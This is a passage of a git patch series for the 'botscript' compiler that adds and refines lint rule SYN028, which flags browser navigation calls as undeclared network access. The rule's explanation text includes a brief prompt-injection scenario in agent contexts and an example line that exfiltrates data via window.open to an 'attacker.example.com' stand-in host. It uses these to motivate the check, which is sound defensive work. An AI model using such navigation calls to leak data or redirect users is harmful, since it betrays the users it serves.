fires when a fn body uses a browser navigation API at `?bs 0.7+`:\n\n" + + "- `window.open(url, ...)`, `globalThis.open(url, ...)`, `self.open(url, ...)` — opens a " + + "new browsing context and issues an HTTP request to `url`; the URL is sent to the network.\n" + + "- `location.href = url` — triggers a full-page navigation; equivalent to a GET request.\n" + + "- `location.assign(url)`, `location.replace(url)` — navigation calls with/without history entry.\n" + + "- `location.reload()` — reissues the current request.\n\n" + + "None of these are covered by `uses { net }`, `reads {}`, or `writes {}` — they are " + + "invisible to botscript's capability model. A fn that calls them has an undeclared network " + + "dependency: callers cannot see it, and tests cannot intercept or mock the navigation.\n\n" + + "**Security angle:** In bot/agent contexts, prompt-injected content can call " + + "`location.href = 'https://phishing.example.com'` or `window.open('https://attacker.example.com/exfil?data=...')` " + + "to redirect users to phishing pages or exfiltrate data as URL parameters. These are harder " + + "to intercept than `fetch()` — no ServiceWorker intercepts navigations by default, and " + + "CSP `connect-src` does not cover `navigate-to` unless explicitly combined.\n\n" + + "**Excluded:** `obj.location.*` (location as a member of a local binding, not the global), " + + "`obj.window.open` (non-ambient receiver), fn/function/function* declarations named `location` " + + "or `open`, method shorthands. `unsafe {}` blocks and `unsafe \"reason\" fn` bodies are suppressed.", + example: { + fails: + "?bs 0.7\n" + + "// SYN028: location.href assignment bypasses the capability model\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n\n" + + "// SYN028: window.open opens a new context without net declaration\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n", + passes: + "?bs 0.7\n" + + "// fix: pass navigation as a parameter\n" + + "fn redirectTo(navigate: (url: string) -> void, url: string) -> void {\n" + + " navigate(url)\n" + + "}\n\n" + + "// or use unsafe when navigation is genuinely required at an entry point\n" + + "fn redirectTo(url: string) -> void {\n" + + " unsafe \"redirects to login page\" { location.href = url }\n" + + "}\n", + }, + }, DEP001: { code: "DEP001", title: "fn transitively reads a resource category not declared in its header", diff --git a/packages/mcp/tests/server.test.ts b/packages/mcp/tests/server.test.ts index eb13233a..4b819c01 100644 --- a/packages/mcp/tests/server.test.ts +++ b/packages/mcp/tests/server.test.ts @@ -91,6 +91,7 @@ describe("botscript-mcp explanations", () => { "SYN019", "SYN022", "SYN023", + "SYN028", "THR001", "THR002", "THR003", From 44372bdbaa1193fc94616b324bc7e738ca900bec Mon Sep 17 00:00:00 2001 From: Marcelo Farias Date: Fri, 19 Jun 2026 11:28:04 -0300 Subject: [PATCH 2/4] =?UTF-8?q?fix(compiler):=20address=20Copilot=20SYN028?= =?UTF-8?q?=20review=20=E2=80=94=20reject=20optional-chain=20href=20LHS,?= =?UTF-8?q?=20fix=20reload()=20message,=20use=20receiver=20name=20in=20ope?= =?UTF-8?q?n()=20message?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - location?.href = url is invalid JS/TS (optional chaining cannot appear on an assignment LHS); skip the `?.` path for the href form and flip the test to assert SYN028 does NOT fire - location.reload() takes no URL argument; the unsafe-wrap suggestion now emits `reload()` not `reload(url)`, using a per-member ternary - window.open() message hardcoded `window.open()` even when the receiver was `globalThis` or `self`; now uses `receiverName28` so the message matches the actual call form - Add tests: reload message must not contain `(url)`, globalThis.open message must say `globalThis` not `window.open()` Co-Authored-By: Claude Sonnet 4.6 --- packages/compiler/src/passes/syn-check.ts | 12 ++++--- packages/compiler/tests/syn028-check.test.ts | 33 ++++++++++++++++++-- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/packages/compiler/src/passes/syn-check.ts b/packages/compiler/src/passes/syn-check.ts index 6158b16d..3f67d037 100644 --- a/packages/compiler/src/passes/syn-check.ts +++ b/packages/compiler/src/passes/syn-check.ts @@ -1733,6 +1733,10 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult const sep28loc = isOptChain28loc ? "?." : "."; if (memberName28loc === "href") { + // Optional chaining on the LHS of an assignment (`location?.href = url`) is + // invalid JS/TS syntax — only `location.href = url` is a valid assignment target. + if (isOptChain28loc) continue; + // Must be followed by `=` (assignment). The lexer emits `=` as kind "eq", // while `==` and `===` are kind "operator" — so checking for "eq" is precise. const afterHrefIdx = nextSignificant(tokens, memberIdx28loc + 1); @@ -1751,11 +1755,11 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult start: tok.start, end: afterHref.end, message: - `fn '${decl.name}' assigns location${sep28loc}href — ` + + `fn '${decl.name}' assigns location.href — ` + `location.href = url triggers a full-page navigation, invisible to the capability model; ` + `no uses { net } declaration covers this network-equivalent operation; ` + `pass a navigation callback as a parameter so callers can see the dependency, ` + - `or wrap in unsafe "navigates to " { location${sep28loc}href = url }`, + `or wrap in unsafe "navigates to " { location.href = url }`, rule: syn028.rule, idiom: syn028.idiom, rewrite: syn028.rewrite, @@ -1792,7 +1796,7 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult `location.${memberName28loc} triggers navigation, invisible to the capability model; ` + `no uses { net } declaration covers this network-equivalent operation; ` + `pass a navigation callback as a parameter so callers can see the dependency, ` + - `or wrap in unsafe "navigates for " { location${sep28loc}${memberName28loc}${callSep28loc}(url) }`, + `or wrap in unsafe "navigates for " { location${sep28loc}${memberName28loc}${callSep28loc}(${memberName28loc === "reload" ? "" : "url"}) }`, rule: syn028.rule, idiom: syn028.idiom, rewrite: syn028.rewrite, @@ -1863,7 +1867,7 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult end: afterTok28open.start + 1, message: `fn '${decl.name}' calls ${receiverName28}${dotSep28open}open${callSep28open}() — ` + - `window.open() opens a new browsing context and issues an HTTP request, invisible to the capability model; ` + + `${receiverName28}.open() opens a new browsing context and issues an HTTP request, invisible to the capability model; ` + `no uses { net } declaration covers this network-equivalent operation; ` + `pass a navigation callback as a parameter so callers can see the dependency, ` + `or wrap in unsafe "opens window for " { ${receiverName28}${dotSep28open}open${callSep28open}(url) }`, diff --git a/packages/compiler/tests/syn028-check.test.ts b/packages/compiler/tests/syn028-check.test.ts index f4caa243..322d6536 100644 --- a/packages/compiler/tests/syn028-check.test.ts +++ b/packages/compiler/tests/syn028-check.test.ts @@ -29,14 +29,16 @@ describe("SYN028 — location.href assignment", () => { expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); }); - it("fires on location?.href = url (optional-chain receiver)", () => { + it("does NOT fire on location?.href = url (invalid LHS — optional chaining cannot be an assignment target)", () => { + // `location?.href = url` is syntactically invalid JS/TS: optional chaining is not + // allowed on the left-hand side of an assignment. SYN028 must not fire on this form. const src = "?bs 0.7\n" + "fn redirectTo(url: string) -> void {\n" + " location?.href = url\n" + "}\n"; const result = compile(src); - expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); + expect(result.warnings.some((w) => w.code === "SYN028")).toBe(false); }); it("warning message includes fn name and location.href", () => { @@ -160,6 +162,20 @@ describe("SYN028 — location method calls", () => { expect(result.warnings.some((w) => w.code === "SYN028")).toBe(true); }); + it("reload message unsafe suggestion uses () not (url)", () => { + const src = + "?bs 0.7\n" + + "fn refresh() -> void {\n" + + " location.reload()\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + // location.reload() takes no URL argument — the safe-wrap suggestion must not say (url) + expect(w!.message).toContain("reload()"); + expect(w!.message).not.toContain("reload(url)"); + }); + it("fires on location?.assign(url) — optional-chain receiver", () => { const src = "?bs 0.7\n" + @@ -291,6 +307,19 @@ describe("SYN028 — window.open() and ambient-global variants", () => { expect(w!.severity).toBe("warning"); }); + it("warning message for globalThis.open uses globalThis (not window)", () => { + const src = + "?bs 0.7\n" + + "fn openTab(url: string) -> void {\n" + + " globalThis.open(url, '_blank')\n" + + "}\n"; + const result = compile(src); + const w = result.warnings.find((w) => w.code === "SYN028"); + expect(w).toBeDefined(); + expect(w!.message).toContain("globalThis"); + expect(w!.message).not.toContain("window.open()"); + }); + it("does NOT fire on obj.window.open(url) (non-ambient receiver)", () => { const src = "?bs 0.7\n" + From e013c6a7531987958a9ea353944568163e7095c7 Mon Sep 17 00:00:00 2001 From: Marcelo Farias Date: Fri, 19 Jun 2026 15:27:22 -0300 Subject: [PATCH 3/4] =?UTF-8?q?fix(compiler):=20clarify=20SYN028=20doc=20c?= =?UTF-8?q?omment=20=E2=80=94=20navigation=20bypasses=20capability=20model?= =?UTF-8?q?=20even=20with=20uses=20{=20net=20}?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `uses { net }` covers stdlib network calls, not navigation APIs; the old wording implied adding the declaration would address the warning. Co-Authored-By: Claude Sonnet 4.6 --- packages/compiler/src/passes/syn-check.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/packages/compiler/src/passes/syn-check.ts b/packages/compiler/src/passes/syn-check.ts index 3f67d037..52909dd8 100644 --- a/packages/compiler/src/passes/syn-check.ts +++ b/packages/compiler/src/passes/syn-check.ts @@ -185,7 +185,8 @@ * SYN028 A navigation API call was detected in a fn body (?bs 0.7+): * - `window.open(url, ...)`, `globalThis.open(url, ...)`, `self.open(url, ...)` — * opens a new browsing context and issues a real HTTP request; the URL is sent to - * the network without any `uses { net }` declaration in the fn header. + * the network and is invisible to the capability model even when `uses { net }` is + * declared, because `uses { net }` covers stdlib calls, not navigation APIs. * - `location.href = url` — full-page navigation; equivalent to a GET request. * - `location.assign(url)`, `location.replace(url)` — navigation without/with history. * - `location.reload()` — reissues the current request. From 43984a70ed229702e4a5f70198bfea0a6969325b Mon Sep 17 00:00:00 2001 From: Marcelo Farias Date: Fri, 19 Jun 2026 19:28:41 -0300 Subject: [PATCH 4/4] =?UTF-8?q?fix(syn028):=20address=20Copilot=20review?= =?UTF-8?q?=20=E2=80=94=20clarify=20uses{net}=20wording,=20fix=20open()=20?= =?UTF-8?q?arg=20placeholder,=20fix=20duplicate=20fn=20in=20example?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Change "no uses { net } declaration covers this" → "uses { net } does not cover navigation APIs even when declared" in all three SYN028 warning messages (href, location methods, window.open). Copilot correctly flagged that the old wording reads as if adding uses { net } would fix the issue. - Change unsafe-wrap placeholder for window.open from (url) to (url, ...) to avoid implying additional arguments are dropped (common usage includes target and features, e.g. window.open(url, '_blank')). - Rename second fn redirectTo → fn navigateToLogin in the MCP explanations passes example to eliminate the duplicate function name, which would emit invalid TypeScript if the snippet were copy-pasted into a real file. Co-Authored-By: Claude Sonnet 4.6 --- packages/compiler/src/passes/syn-check.ts | 14 +++++++------- packages/mcp/src/explanations.ts | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/packages/compiler/src/passes/syn-check.ts b/packages/compiler/src/passes/syn-check.ts index 52909dd8..8441de53 100644 --- a/packages/compiler/src/passes/syn-check.ts +++ b/packages/compiler/src/passes/syn-check.ts @@ -1757,8 +1757,8 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult end: afterHref.end, message: `fn '${decl.name}' assigns location.href — ` + - `location.href = url triggers a full-page navigation, invisible to the capability model; ` + - `no uses { net } declaration covers this network-equivalent operation; ` + + `location.href = url triggers a full-page navigation invisible to the capability model; ` + + `uses { net } does not cover navigation APIs even when declared; ` + `pass a navigation callback as a parameter so callers can see the dependency, ` + `or wrap in unsafe "navigates to " { location.href = url }`, rule: syn028.rule, @@ -1794,8 +1794,8 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult end: afterMember28loc.start + 1, message: `fn '${decl.name}' calls location${sep28loc}${memberName28loc}${callSep28loc}() — ` + - `location.${memberName28loc} triggers navigation, invisible to the capability model; ` + - `no uses { net } declaration covers this network-equivalent operation; ` + + `location.${memberName28loc} triggers navigation invisible to the capability model; ` + + `uses { net } does not cover navigation APIs even when declared; ` + `pass a navigation callback as a parameter so callers can see the dependency, ` + `or wrap in unsafe "navigates for " { location${sep28loc}${memberName28loc}${callSep28loc}(${memberName28loc === "reload" ? "" : "url"}) }`, rule: syn028.rule, @@ -1868,10 +1868,10 @@ export function passSynCheck(src: string, version: VersionInfo): SynCheckResult end: afterTok28open.start + 1, message: `fn '${decl.name}' calls ${receiverName28}${dotSep28open}open${callSep28open}() — ` + - `${receiverName28}.open() opens a new browsing context and issues an HTTP request, invisible to the capability model; ` + - `no uses { net } declaration covers this network-equivalent operation; ` + + `${receiverName28}.open() opens a new browsing context and issues an HTTP request invisible to the capability model; ` + + `uses { net } does not cover navigation APIs even when declared; ` + `pass a navigation callback as a parameter so callers can see the dependency, ` + - `or wrap in unsafe "opens window for " { ${receiverName28}${dotSep28open}open${callSep28open}(url) }`, + `or wrap in unsafe "opens window for " { ${receiverName28}${dotSep28open}open${callSep28open}(url, ...) }`, rule: syn028.rule, idiom: syn028.idiom, rewrite: syn028.rewrite, diff --git a/packages/mcp/src/explanations.ts b/packages/mcp/src/explanations.ts index dc216c3c..13217951 100644 --- a/packages/mcp/src/explanations.ts +++ b/packages/mcp/src/explanations.ts @@ -1425,7 +1425,7 @@ export const EXPLANATIONS: Readonly> = { " navigate(url)\n" + "}\n\n" + "// or use unsafe when navigation is genuinely required at an entry point\n" + - "fn redirectTo(url: string) -> void {\n" + + "fn navigateToLogin(url: string) -> void {\n" + " unsafe \"redirects to login page\" { location.href = url }\n" + "}\n", },